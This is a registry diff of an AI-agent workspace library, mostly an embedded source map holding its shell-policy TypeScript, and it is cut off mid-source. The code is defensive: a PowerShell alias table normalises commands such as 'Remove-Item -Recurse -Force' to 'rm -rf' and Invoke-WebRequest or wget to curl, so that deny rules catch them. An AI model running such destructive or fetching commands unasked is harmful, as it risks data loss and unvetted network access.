@warlock.js/ai-workspace 5.44.0 → 5.46.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +13 -0
- package/cjs/index.cjs +101 -35
- package/cjs/index.cjs.map +1 -1
- package/esm/contracts/shell-approval.type.d.mts +11 -1
- package/esm/contracts/shell-approval.type.d.mts.map +1 -1
- package/esm/contracts/tool-io.type.d.mts +10 -0
- package/esm/contracts/tool-io.type.d.mts.map +1 -1
- package/esm/contracts/workspace.contract.d.mts +12 -1
- package/esm/contracts/workspace.contract.d.mts.map +1 -1
- package/esm/index.d.mts +2 -2
- package/esm/ops.d.mts.map +1 -1
- package/esm/ops.mjs +27 -10
- package/esm/ops.mjs.map +1 -1
- package/esm/output/spill.mjs +4 -1
- package/esm/output/spill.mjs.map +1 -1
- package/esm/policy/approval-helpers.mjs +22 -0
- package/esm/policy/approval-helpers.mjs.map +1 -0
- package/esm/policy/powershell-parser.mjs +6 -4
- package/esm/policy/powershell-parser.mjs.map +1 -1
- package/esm/policy/shell-check.d.mts.map +1 -1
- package/esm/policy/shell-check.mjs +4 -4
- package/esm/policy/shell-check.mjs.map +1 -1
- package/esm/policy/shell-interpreter.d.mts +20 -2
- package/esm/policy/shell-interpreter.d.mts.map +1 -1
- package/esm/policy/shell-interpreter.mjs +26 -12
- package/esm/policy/shell-interpreter.mjs.map +1 -1
- package/esm/policy/shell-parser.d.mts +3 -1
- package/esm/policy/shell-parser.d.mts.map +1 -1
- package/esm/policy/shell-parser.mjs +1 -1
- package/esm/policy/shell-parser.mjs.map +1 -1
- package/esm/tools/run-shell.d.mts +1 -1
- package/esm/tools/run-shell.d.mts.map +1 -1
- package/esm/tools/run-shell.mjs +2 -1
- package/esm/tools/run-shell.mjs.map +1 -1
- package/esm/tools/run-tests.d.mts +1 -1
- package/esm/tools/run-tests.mjs +1 -1
- package/esm/tools/run-tests.mjs.map +1 -1
- package/esm/workspace.d.mts.map +1 -1
- package/esm/workspace.mjs +12 -1
- package/esm/workspace.mjs.map +1 -1
- package/llms-full.txt +23 -17
- package/package.json +3 -3
- package/skills/use-a-workspace/SKILL.md +23 -17
package/cjs/index.cjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.cjs","names":["AIError","path","path","constants","path","unsupported","path","canonicalize","path","realpath","fs","fs","path","path","fs","path","platform","spawn","fs","lstat","realpath","StringDecoder","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","tool","tool","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","tool","tool","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","tool","tool","path"],"sources":["../../../../../../../packages/ai-workspace/src/errors.ts","../../../../../../../packages/ai-workspace/src/policy/jail.ts","../../../../../../../packages/ai-workspace/src/output/spill-dir.ts","../../../../../../../packages/ai-workspace/src/policy/powershell-aliases.ts","../../../../../../../packages/ai-workspace/src/policy/shell-interpreter.ts","../../../../../../../packages/ai-workspace/src/policy/powershell-parser.ts","../../../../../../../packages/ai-workspace/src/policy/shell-parser.ts","../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts","../../../../../../../packages/ai-workspace/src/policy/shell-check.ts","../../../../../../../packages/ai-workspace/src/policy/policy.ts","../../../../../../../packages/ai-workspace/src/patch/apply-hunks.ts","../../../../../../../packages/ai-workspace/src/patch/parse-patch.ts","../../../../../../../packages/ai-workspace/src/patch/execute-patch.ts","../../../../../../../packages/ai-workspace/src/patch/apply-patch-generic.ts","../../../../../../../packages/ai-workspace/src/edit/match.ts","../../../../../../../packages/ai-workspace/src/edit/apply-replacement.ts","../../../../../../../packages/ai-workspace/src/hooks/after-edit.ts","../../../../../../../packages/ai-workspace/src/output/spill.ts","../../../../../../../packages/ai-workspace/src/shell-jobs.ts","../../../../../../../packages/ai-workspace/src/ops.ts","../../../../../../../packages/ai-workspace/src/backends/local.ts","../../../../../../../packages/ai-workspace/src/backends/mock.ts","../../../../../../../packages/ai-workspace/src/tools/json-schemas.ts","../../../../../../../packages/ai-workspace/src/tools/schema.ts","../../../../../../../packages/ai-workspace/src/tools/apply-patch.ts","../../../../../../../packages/ai-workspace/src/tools/edit-file.ts","../../../../../../../packages/ai-workspace/src/tools/glob.ts","../../../../../../../packages/ai-workspace/src/tools/grep.ts","../../../../../../../packages/ai-workspace/src/tools/list-dir.ts","../../../../../../../packages/ai-workspace/src/tools/multi-edit.ts","../../../../../../../packages/ai-workspace/src/tools/read-file.ts","../../../../../../../packages/ai-workspace/src/tools/run-shell.ts","../../../../../../../packages/ai-workspace/src/tools/run-tests.ts","../../../../../../../packages/ai-workspace/src/tools/shell-kill.ts","../../../../../../../packages/ai-workspace/src/tools/shell-output.ts","../../../../../../../packages/ai-workspace/src/todos.ts","../../../../../../../packages/ai-workspace/src/tools/todo.ts","../../../../../../../packages/ai-workspace/src/tools/write-file.ts","../../../../../../../packages/ai-workspace/src/workspace.ts"],"sourcesContent":["import { AIError, type AIErrorOptions } from \"@warlock.js/ai\";\n\n/**\n * Why a workspace policy check rejected an operation.\n *\n * - `\"path-escape\"` — a resolved path fell outside the `cwd` jail (or an\n * `allowPaths` root), or matched a `denyPaths` glob.\n * - `\"denied-command\"` — the shell policy refused a command line (`reason`\n * says why: an executable outside `shell.allow` or inside `shell.deny`, a\n * metacharacter in argv mode, a redirection outside the jail in shell\n * mode, …), or a mutating method was called on a read-only projection.\n * - `\"unsafe-pattern\"` — a `grep` pattern was too long or matched a\n * catastrophic-backtracking shape (nested quantifiers) that could hang\n * the process (ReDoS).\n */\nexport type WorkspacePolicyViolation = \"path-escape\" | \"denied-command\" | \"unsafe-pattern\";\n\n/**\n * Why the shell policy refused a command. Set on every\n * {@link WorkspacePolicyError} of type `\"denied-command\"` raised for a\n * command line, so a host can phrase the refusal itself instead of parsing\n * the message.\n *\n * - `\"metacharacter\"` — argv mode (the default `interpreter: \"none\"`) met an\n * unquoted shell operator (`&&`, `;`, `|`, `>`, `$`, backticks, …). The\n * message suggests how to split the line into separate commands.\n * - `\"unbalanced-quotes\"` — a quote is never closed.\n * - `\"denied-executable\"` — a command's executable is listed in `shell.deny`.\n * - `\"not-allowed\"` — a command's executable is not in `shell.allow`, the\n * `shell.allowCommand` hook refused it, the workspace has no shell policy,\n * the line is empty, or background commands are not enabled.\n * - `\"denied-pattern\"` — a command matched one of `shell.denyPatterns`.\n * - `\"nested-command\"` — a command runs another command the policy cannot\n * inspect (`bash -c …`, `eval`, `xargs`, `sudo`, a wrapper with options the\n * policy cannot read), while the policy has deny rules it would bypass.\n * - `\"unsupported-syntax\"` — shell mode (`interpreter: \"sh\"`) met syntax the\n * policy does not parse with confidence (compound commands, arithmetic,\n * brace expansion, background `&`, a command name decided at run time, …),\n * so the line is refused rather than guessed at.\n * - `\"path-escape\"` — shell mode: a redirection target or `cd` directory\n * resolves outside the workspace jail or hits `denyPaths`.\n * - `\"approval-required\"` — a command matches an `ask` rule in\n * `shell.rules` and the policy has no `shell.onAsk` to decide on it.\n * - `\"approval-denied\"` — `shell.onAsk` refused the command (or threw).\n */\nexport type WorkspaceShellRefusalReason =\n | \"metacharacter\"\n | \"unbalanced-quotes\"\n | \"denied-executable\"\n | \"not-allowed\"\n | \"denied-pattern\"\n | \"nested-command\"\n | \"unsupported-syntax\"\n | \"path-escape\"\n | \"approval-required\"\n | \"approval-denied\";\n\n/**\n * Options for {@link WorkspacePolicyError} — the structured `type`\n * discriminator plus, where relevant, the offending path or command for\n * branchable diagnostics without parsing the message.\n */\nexport type WorkspacePolicyErrorOptions = AIErrorOptions & {\n /** Which policy rule was violated. */\n type: WorkspacePolicyViolation;\n /** The offending workspace-relative path (for `\"path-escape\"`). */\n path?: string;\n /** The offending command line (for `\"denied-command\"`). */\n command?: string;\n /** The offending regex pattern (for `\"unsafe-pattern\"`). */\n pattern?: string;\n /** Why the shell policy refused the command (for `\"denied-command\"`). */\n reason?: WorkspaceShellRefusalReason;\n /** The executable the refusal is about, when there is one. */\n executable?: string;\n};\n\n/**\n * The workspace policy engine refused an operation — a path escaped the\n * jail (or hit a deny glob), or a shell command's executable was not\n * allowed.\n *\n * **Surface.** This is returned to the agent as tool-error *data*, never\n * a thrown run-killer — the agent reads the failure and self-corrects.\n * Extends the framework `AIError` (category `\"tool\"`, code\n * `TOOL_EXEC_FAILED`) so it flows through the same typed error contract\n * as every other AI error; branch on `error.type` for the specific\n * violation.\n *\n * @example\n * if (error instanceof WorkspacePolicyError && error.type === \"denied-command\") {\n * console.warn(`Blocked command: ${error.command}`);\n * }\n */\nexport class WorkspacePolicyError extends AIError {\n /** Which policy rule was violated. */\n public readonly type: WorkspacePolicyViolation;\n /** The offending path, when the violation was a path escape. */\n public readonly path?: string;\n /** The offending command, when the violation was a denied command. */\n public readonly command?: string;\n /** The offending regex pattern, when the violation was `\"unsafe-pattern\"`. */\n public readonly pattern?: string;\n /**\n * Why the shell policy refused a command line — set on every\n * `\"denied-command\"` refusal of a command (see\n * {@link WorkspaceShellRefusalReason}).\n */\n public readonly reason?: WorkspaceShellRefusalReason;\n /** The executable the shell refusal is about, when there is one. */\n public readonly executable?: string;\n\n public constructor(message: string, options: WorkspacePolicyErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspacePolicyError\";\n this.type = options.type;\n this.path = options.path;\n this.command = options.command;\n this.pattern = options.pattern;\n this.reason = options.reason;\n this.executable = options.executable;\n }\n}\n\n/**\n * Why an edit was rejected.\n *\n * - `\"not-found\"` — the `oldString` did not appear in the file.\n * - `\"not-unique\"` — `oldString` matched more than once and `replaceAll`\n * was not set, so the edit is ambiguous.\n * - `\"stale-hash\"` — the file's current hash did not match the supplied\n * `expectHash`; the file changed since it was read.\n * - `\"patch-invalid\"` — `applyPatch` was given text that is not a usable\n * unified diff (or one that is too large).\n * - `\"hunk-failed\"` — a patch hunk's context is not in the file; `hunkIndex`\n * names it.\n * - `\"binary-file\"` — the patch, or a file it touches, is binary.\n * - `\"file-exists\"` — the patch creates (or renames onto) a path that\n * already exists.\n * - `\"file-missing\"` — the patch modifies, renames or deletes a path that\n * does not exist.\n */\nexport type WorkspaceEditFailure =\n | \"not-found\"\n | \"not-unique\"\n | \"stale-hash\"\n | \"patch-invalid\"\n | \"hunk-failed\"\n | \"binary-file\"\n | \"file-exists\"\n | \"file-missing\";\n\n/**\n * Options for {@link WorkspaceEditError} — the structured `type`\n * discriminator plus optional match-count / hash context for the\n * `\"not-unique\"` and `\"stale-hash\"` cases.\n */\nexport type WorkspaceEditErrorOptions = AIErrorOptions & {\n /** Why the edit was rejected. */\n type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n path: string;\n /** How many times `oldString` matched (for `\"not-unique\"`). */\n matches?: number;\n /** The hash the caller expected (for `\"stale-hash\"`). */\n expectedHash?: string;\n /** The file's actual current hash (for `\"stale-hash\"`). */\n actualHash?: string;\n /** 0-based index of the failing edit, for a `multiEdit` rejection. */\n editIndex?: number;\n /** For `\"not-found\"`: the nearby file text, or a note that `newString` is already present. */\n hint?: string;\n /** 0-based index of the hunk that failed, for an `applyPatch` rejection. */\n hunkIndex?: number;\n};\n\n/**\n * An `editFile` operation was rejected by the read-before-edit guard:\n * the `oldString` was absent, matched non-uniquely without `replaceAll`,\n * or the file's hash no longer matched the supplied `expectHash`.\n *\n * **Surface.** Like {@link WorkspacePolicyError}, returned to the agent\n * as tool-error *data* so it can re-read and retry. Extends `AIError`\n * (category `\"tool\"`, code `TOOL_EXEC_FAILED`); branch on `error.type`.\n *\n * @example\n * if (error instanceof WorkspaceEditError && error.type === \"stale-hash\") {\n * // re-read the file and retry the edit with the fresh hash\n * }\n */\nexport class WorkspaceEditError extends AIError {\n /** Why the edit was rejected. */\n public readonly type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n public readonly path: string;\n /** How many times `oldString` matched, for the `\"not-unique\"` case. */\n public readonly matches?: number;\n /** The hash the caller expected, for the `\"stale-hash\"` case. */\n public readonly expectedHash?: string;\n /** The file's actual current hash, for the `\"stale-hash\"` case. */\n public readonly actualHash?: string;\n /**\n * For a `multiEdit` rejection, the 0-based index of the edit that failed.\n * Nothing was written: a multi-edit applies all of its edits or none.\n */\n public readonly editIndex?: number;\n /**\n * For a `\"not-found\"` rejection, the file text closest to `oldString` (at\n * most 12 lines of 200 characters) or a note that `newString` is already\n * present. Absent when nothing is close.\n */\n public readonly hint?: string;\n /**\n * For an `applyPatch` rejection, the 0-based index of the hunk that failed\n * within its file. Nothing was written.\n */\n public readonly hunkIndex?: number;\n\n public constructor(message: string, options: WorkspaceEditErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspaceEditError\";\n this.type = options.type;\n this.path = options.path;\n this.matches = options.matches;\n this.expectedHash = options.expectedHash;\n this.actualHash = options.actualHash;\n this.editIndex = options.editIndex;\n this.hint = options.hint;\n this.hunkIndex = options.hunkIndex;\n }\n}\n\n/**\n * Why a background-command operation failed.\n *\n * - `\"not-found\"` — no background command with that id exists in this\n * workspace (it never existed, or it finished long enough ago to be\n * pruned).\n */\nexport type WorkspaceJobFailure = \"not-found\";\n\n/** Options for {@link WorkspaceJobError}. */\nexport type WorkspaceJobErrorOptions = AIErrorOptions & {\n /** Why the operation failed. */\n type: WorkspaceJobFailure;\n /** The background command id the caller asked for. */\n jobId: string;\n};\n\n/**\n * A `shell_output` / `shell_kill` call (or `shellOutput()` / `shellKill()`)\n * named a background command this workspace does not know. Returned to the\n * agent as tool-error data like the other workspace errors.\n *\n * @example\n * if (error instanceof WorkspaceJobError && error.type === \"not-found\") {\n * console.warn(`No background command ${error.jobId}`);\n * }\n */\nexport class WorkspaceJobError extends AIError {\n /** Why the operation failed. */\n public readonly type: WorkspaceJobFailure;\n /** The background command id the caller asked for. */\n public readonly jobId: string;\n\n public constructor(message: string, options: WorkspaceJobErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspaceJobError\";\n this.type = options.type;\n this.jobId = options.jobId;\n }\n}\n","import path from \"node:path\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * Whether `child` is contained within `root` (or equals it), comparing\n * absolute paths. Guards against the `/srv/app-evil` vs `/srv/app`\n * prefix-collision by comparing path segments, not string prefixes.\n */\nexport function isInside(child: string, root: string): boolean {\n const relative = path.relative(root, child);\n\n return relative === \"\" || (!relative.startsWith(\"..\") && !path.isAbsolute(relative));\n}\n\n/**\n * Translate a glob (the small subset used by `denyPaths` and\n * `list.ignore` — `*`, `**`, `?`) into an anchored `RegExp` over a\n * `/`-separated relative path. `**` spans path separators; a single `*`\n * does not.\n */\nexport function globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob.charAt(index);\n\n if (char === \"*\") {\n if (glob.charAt(index + 1) === \"*\") {\n // `**` — match across segments (and an optional trailing slash).\n source += \".*\";\n index++;\n\n if (glob.charAt(index + 1) === \"/\") {\n index++;\n }\n } else {\n // `*` — match within a single segment.\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n // Escape everything else so it matches literally.\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * Whether a workspace-relative (`/`-separated) path matches any of the\n * globs. A glob also covers everything beneath a matched directory\n * (`\".git/**\"` covers `.git/config`), and a bare name without wildcards\n * (`\".git\"`, `\"node_modules\"`) covers its contents.\n */\nexport function matchesAnyGlob(relativePath: string, globs: readonly string[]): boolean {\n return globs.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n}\n\n/**\n * The jail check without touching the filesystem: is the absolute path\n * `target` (already resolved lexically) inside `cwd` and off every\n * `denyPaths` glob, or inside an `allowPaths` root? Symlinks are NOT\n * resolved here — the shell policy uses it to refuse obvious escapes\n * synchronously, and `exec` re-checks every path with `resolveInJail`.\n */\nexport function isInsideJailLexically(policy: WorkspacePolicy, target: string): boolean {\n const root = path.resolve(policy.cwd);\n\n if (isInside(target, root)) {\n const relative = path.relative(root, target).split(path.sep).join(\"/\");\n\n return !(\n policy.denyPaths &&\n policy.denyPaths.length > 0 &&\n matchesAnyGlob(relative, policy.denyPaths)\n );\n }\n\n return (policy.allowPaths ?? []).some((allowRoot) => isInside(target, path.resolve(allowRoot)));\n}\n","import path from \"node:path\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * The absolute directory spill files go to, or `undefined` when the policy\n * has no `output.spillDir` (spilling is off).\n */\nexport function resolveSpillDir(policy: WorkspacePolicy): string | undefined {\n const dir = policy.output?.spillDir;\n\n return dir === undefined ? undefined : path.resolve(policy.cwd, dir);\n}\n","import type { ShellWord } from \"./shell-parser\";\n\n/**\n * PowerShell spells the same operation many ways (`Remove-Item`, `ri`, `rm`,\n * `del`, `erase`, `rd`, `rmdir`; parameters can be shortened to any\n * unambiguous prefix). Deny rules are written against one spelling, so the\n * policy also checks each command in its canonical POSIX-style form:\n * `Remove-Item -Recurse -Force x` is checked as `rm -rf x`.\n */\n\ntype ParamRole = \"recurse\" | \"force\" | \"operand\" | \"value\" | \"switch\" | \"method\" | \"outfile\";\n\ninterface Family {\n /** The canonical executable name. */\n canonical: string;\n /** Every spelling (lowercase) that means this family. */\n names: string[];\n /** Flag characters emitted for `-Recurse` / `-Force` (empty: not emitted). */\n recurseFlag: string;\n forceFlag: string;\n /** Parameters in priority order (the first whose name starts with the typed prefix wins). */\n params: Array<[string, ParamRole]>;\n}\n\nconst FAMILIES: Family[] = [\n {\n canonical: \"rm\",\n names: [\"remove-item\", \"ri\", \"rm\", \"del\", \"erase\", \"rd\", \"rmdir\"],\n recurseFlag: \"r\",\n forceFlag: \"f\",\n params: [\n [\"recurse\", \"recurse\"],\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"credential\", \"value\"],\n [\"stream\", \"value\"],\n ],\n },\n {\n canonical: \"cp\",\n names: [\"copy-item\", \"cpi\", \"cp\", \"copy\"],\n recurseFlag: \"r\",\n forceFlag: \"f\",\n params: [\n [\"recurse\", \"recurse\"],\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"destination\", \"operand\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"credential\", \"value\"],\n ],\n },\n {\n canonical: \"mv\",\n names: [\"move-item\", \"mi\", \"mv\", \"move\"],\n recurseFlag: \"\",\n forceFlag: \"f\",\n params: [\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"destination\", \"operand\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"credential\", \"value\"],\n ],\n },\n {\n canonical: \"ls\",\n names: [\"get-childitem\", \"gci\", \"ls\", \"dir\"],\n recurseFlag: \"R\",\n forceFlag: \"a\",\n params: [\n [\"recurse\", \"recurse\"],\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"depth\", \"value\"],\n [\"name\", \"switch\"],\n ],\n },\n {\n canonical: \"cat\",\n names: [\"get-content\", \"gc\", \"cat\", \"type\"],\n recurseFlag: \"\",\n forceFlag: \"\",\n params: [\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"totalcount\", \"value\"],\n [\"tail\", \"value\"],\n [\"head\", \"value\"],\n [\"encoding\", \"value\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"force\", \"switch\"],\n [\"raw\", \"switch\"],\n [\"wait\", \"switch\"],\n ],\n },\n {\n canonical: \"curl\",\n names: [\"invoke-webrequest\", \"iwr\", \"invoke-restmethod\", \"irm\", \"curl\", \"wget\"],\n recurseFlag: \"\",\n forceFlag: \"\",\n params: [\n [\"uri\", \"operand\"],\n [\"outfile\", \"outfile\"],\n [\"method\", \"method\"],\n [\"headers\", \"value\"],\n [\"body\", \"value\"],\n [\"contenttype\", \"value\"],\n [\"useragent\", \"value\"],\n [\"credential\", \"value\"],\n [\"timeoutsec\", \"value\"],\n [\"proxy\", \"value\"],\n ],\n },\n {\n canonical: \"kill\",\n names: [\"stop-process\", \"spps\", \"kill\"],\n recurseFlag: \"\",\n forceFlag: \"9\",\n params: [\n [\"id\", \"operand\"],\n [\"name\", \"operand\"],\n [\"force\", \"force\"],\n [\"inputobject\", \"value\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n ],\n },\n];\n\nconst BY_NAME = new Map<string, Family>();\n\nfor (const family of FAMILIES) {\n for (const name of family.names) {\n BY_NAME.set(name, family);\n }\n}\n\n/** PowerShell reads an en dash, em dash or horizontal bar as the parameter dash too. */\nconst FLAG_ORDER = \"rRfa9\";\n\nconst DASH = /^[-–—―]/;\n\n/** Lowercase executable name used to look an alias up. */\nfunction aliasKey(first: string): string {\n const base = first.split(/[\\\\/]/).pop() ?? first;\n\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\").toLowerCase();\n}\n\n/** Split `-Name` / `-Name:value` into the lowercase name and the inline value. */\nfunction parameter(arg: string): { name: string; inline?: string } | null {\n if (!DASH.test(arg) || arg.length < 2) {\n return null;\n }\n\n const body = arg.slice(1);\n const colon = body.indexOf(\":\");\n\n return colon === -1\n ? { name: body.toLowerCase() }\n : { name: body.slice(0, colon).toLowerCase(), inline: body.slice(colon + 1) };\n}\n\n/**\n * The canonical argv of a PowerShell command that uses an alias or cmdlet\n * name from the table (`Remove-Item -Recurse -Force x` → `[\"rm\", \"-rf\", \"x\"]`),\n * or `undefined` when the command has no canonical form.\n */\nexport function canonicalPowerShellArgv(argv: readonly string[]): string[] | undefined {\n const family = BY_NAME.get(aliasKey(argv[0] ?? \"\"));\n\n if (family === undefined) {\n return undefined;\n }\n\n let flags = \"\";\n const operands: string[] = [];\n const extras: string[] = [];\n\n for (let index = 1; index < argv.length; index++) {\n const arg = argv[index] ?? \"\";\n const parsed = parameter(arg);\n\n if (parsed === null) {\n operands.push(arg);\n\n continue;\n }\n\n const match = family.params.find(\n ([name]) => parsed.name !== \"\" && name.startsWith(parsed.name),\n );\n\n if (match === undefined) {\n continue;\n }\n\n const role = match[1];\n\n if (role === \"recurse\") {\n flags += family.recurseFlag;\n } else if (role === \"force\") {\n flags += family.forceFlag;\n } else if (role === \"switch\") {\n continue;\n } else {\n const value = parsed.inline ?? argv[++index] ?? \"\";\n\n if (role === \"operand\") {\n operands.push(value);\n } else if (role === \"outfile\") {\n extras.push(\"-o\", value);\n } else if (role === \"method\") {\n extras.push(\"-X\", value);\n }\n }\n }\n\n // Keep each flag once, in a stable order.\n const unique = [...FLAG_ORDER].filter((flag) => flags.includes(flag)).join(\"\");\n\n return [family.canonical, ...(unique !== \"\" ? [`-${unique}`] : []), ...extras, ...operands];\n}\n\n/** The names PowerShell's `cd` goes by. */\nexport const POWERSHELL_CD_NAMES = new Set([\"cd\", \"sl\", \"set-location\", \"chdir\"]);\n\n/** Directory stack commands, refused because the policy does not track them. */\nexport const POWERSHELL_DIRECTORY_STACK = new Set([\n \"push-location\",\n \"pushd\",\n \"pop-location\",\n \"popd\",\n]);\n\n/**\n * Normalise a PowerShell `cd` to `[cd, directory]`: `-Path x`, `-LiteralPath x`\n * (and their prefixes, `-Path:x`) become the directory operand. Returns `null`\n * for any other parameter (`-PassThru`, `-StackName`, …).\n */\nexport function normalizePowerShellCd(words: ShellWord[]): ShellWord[] | null {\n const first = words[0];\n\n if (first === undefined) {\n return null;\n }\n\n const operands: ShellWord[] = [];\n\n for (let index = 1; index < words.length; index++) {\n const word = words[index] as ShellWord;\n const parsed = word.quoted ? null : parameter(word.value);\n\n if (parsed === null) {\n operands.push(word);\n\n continue;\n }\n\n const isPath = parsed.name.length >= 2 && \"path\".startsWith(parsed.name);\n const isLiteral = parsed.name.length >= 1 && \"literalpath\".startsWith(parsed.name);\n\n if (!isPath && !isLiteral) {\n return null;\n }\n\n if (parsed.inline !== undefined) {\n operands.push({ ...word, raw: parsed.inline, value: parsed.inline });\n } else {\n const next = words[++index];\n\n if (next === undefined) {\n return null;\n }\n\n operands.push(next);\n }\n }\n\n return [first, ...operands];\n}\n","import { accessSync, constants } from \"node:fs\";\nimport path from \"node:path\";\nimport type { WorkspaceShellInterpreter, WorkspaceShellPolicy } from \"../contracts\";\nimport type { ShellDialect } from \"./shell-parser\";\n\n/** An interpreter after `\"auto\"` has been resolved: what actually runs the line. */\nexport type ResolvedShellInterpreter = Exclude<WorkspaceShellInterpreter, \"auto\">;\n\n/** What the resolver reads from the host, injectable so every platform is testable anywhere. */\nexport interface ShellHost {\n /** `process.platform`. */\n platform: NodeJS.Platform;\n /** The host's `PATH` value (not the workspace's isolated environment). */\n pathEnv: string | undefined;\n /** Whether `file` is an existing executable file. */\n isExecutable(file: string): boolean;\n}\n\n/** The shell a policy's `interpreter` resolves to on a host. */\nexport interface ResolvedShell {\n /** The concrete interpreter (never `\"auto\"`). */\n interpreter: ResolvedShellInterpreter;\n /** The grammar its command lines are parsed with. */\n dialect: ShellDialect;\n /**\n * The executable to spawn: `interpreterPath`, or the shell found on `PATH`.\n * Absent when the shell was not found (the spawn then reports the failure)\n * or for `\"none\"`.\n */\n file?: string;\n /** A human-readable name for descriptions, e.g. `bash`, `PowerShell 7 (pwsh)`. */\n label: string;\n}\n\n/** The real host: the running platform, `process.env.PATH`, and the filesystem. */\nexport function currentShellHost(): ShellHost {\n return {\n platform: process.platform,\n pathEnv: process.env.PATH ?? process.env.Path,\n isExecutable: (file) => {\n try {\n accessSync(file, process.platform === \"win32\" ? constants.F_OK : constants.X_OK);\n\n return true;\n } catch {\n return false;\n }\n },\n };\n}\n\n/** The grammar a concrete interpreter reads on `platform`. */\nexport function dialectOf(\n interpreter: ResolvedShellInterpreter,\n platform: NodeJS.Platform = process.platform,\n): ShellDialect {\n if (interpreter === \"powershell\") {\n return \"powershell\";\n }\n\n if (interpreter === \"cmd\") {\n return \"cmd\";\n }\n\n // `sh` is cmd.exe on Windows, where there is no /bin/sh.\n return interpreter === \"sh\" && platform === \"win32\" ? \"cmd\" : \"posix\";\n}\n\n/** The first of `names` found in the host's `PATH` (Windows: with `.exe`). */\nfunction findOnPath(names: string[], host: ShellHost): string | undefined {\n const windows = host.platform === \"win32\";\n const separator = windows ? \";\" : \":\";\n const join = windows ? path.win32.join : path.posix.join;\n const directories = (host.pathEnv ?? \"\").split(separator).filter((entry) => entry !== \"\");\n\n for (const name of names) {\n for (const directory of directories) {\n const candidate = join(directory, windows ? `${name}.exe` : name);\n\n if (host.isExecutable(candidate)) {\n return candidate;\n }\n }\n }\n\n return undefined;\n}\n\n/** Git for Windows' `bash.exe`, derived from the `git` found on `PATH`. */\nfunction findGitBash(host: ShellHost): string | undefined {\n const git = findOnPath([\"git\"], host);\n\n if (git === undefined) {\n return undefined;\n }\n\n // …\\Git\\cmd\\git.exe, …\\Git\\bin\\git.exe or …\\Git\\mingw64\\bin\\git.exe\n const win = path.win32;\n const roots = [win.dirname(win.dirname(git)), win.dirname(win.dirname(win.dirname(git)))];\n\n for (const root of roots) {\n for (const candidate of [\n win.join(root, \"bin\", \"bash.exe\"),\n win.join(root, \"usr\", \"bin\", \"bash.exe\"),\n ]) {\n if (host.isExecutable(candidate)) {\n return candidate;\n }\n }\n }\n\n return undefined;\n}\n\n/** The PowerShell executable names, newest first. */\nfunction powershellNames(host: ShellHost): string[] {\n return host.platform === \"win32\" ? [\"pwsh\", \"powershell\"] : [\"pwsh\"];\n}\n\nfunction powershellLabel(file: string | undefined): string {\n return file !== undefined && /pwsh(\\.exe)?$/i.test(file) ? \"PowerShell 7 (pwsh)\" : \"PowerShell\";\n}\n\n/**\n * Resolve a shell policy's `interpreter` (and `interpreterPath`) to the\n * concrete shell that will run lines, and the grammar they are checked with.\n *\n * `\"auto\"` picks `pwsh`, then Windows PowerShell, then Git Bash (found next to\n * `git`), then `cmd.exe` on Windows and `bash`, then `sh` elsewhere. An explicit interpreter whose executable\n * is not on `PATH` keeps its name and has no `file`, so the spawn reports the\n * missing shell instead of quietly running another one.\n *\n * @example\n * resolveShell({ interpreter: \"auto\" }, { platform: \"win32\", pathEnv: \"C:\\\\bin\", isExecutable })\n */\nexport function resolveShell(\n shell: Pick<WorkspaceShellPolicy, \"interpreter\" | \"interpreterPath\"> | undefined,\n host: ShellHost = currentShellHost(),\n): ResolvedShell {\n const requested = shell?.interpreter ?? \"none\";\n const explicit = shell?.interpreterPath;\n\n if (requested === \"none\") {\n return { interpreter: \"none\", dialect: \"posix\", label: \"none\" };\n }\n\n let interpreter: ResolvedShellInterpreter;\n let file: string | undefined = explicit;\n\n if (requested === \"auto\") {\n if (explicit !== undefined) {\n interpreter = 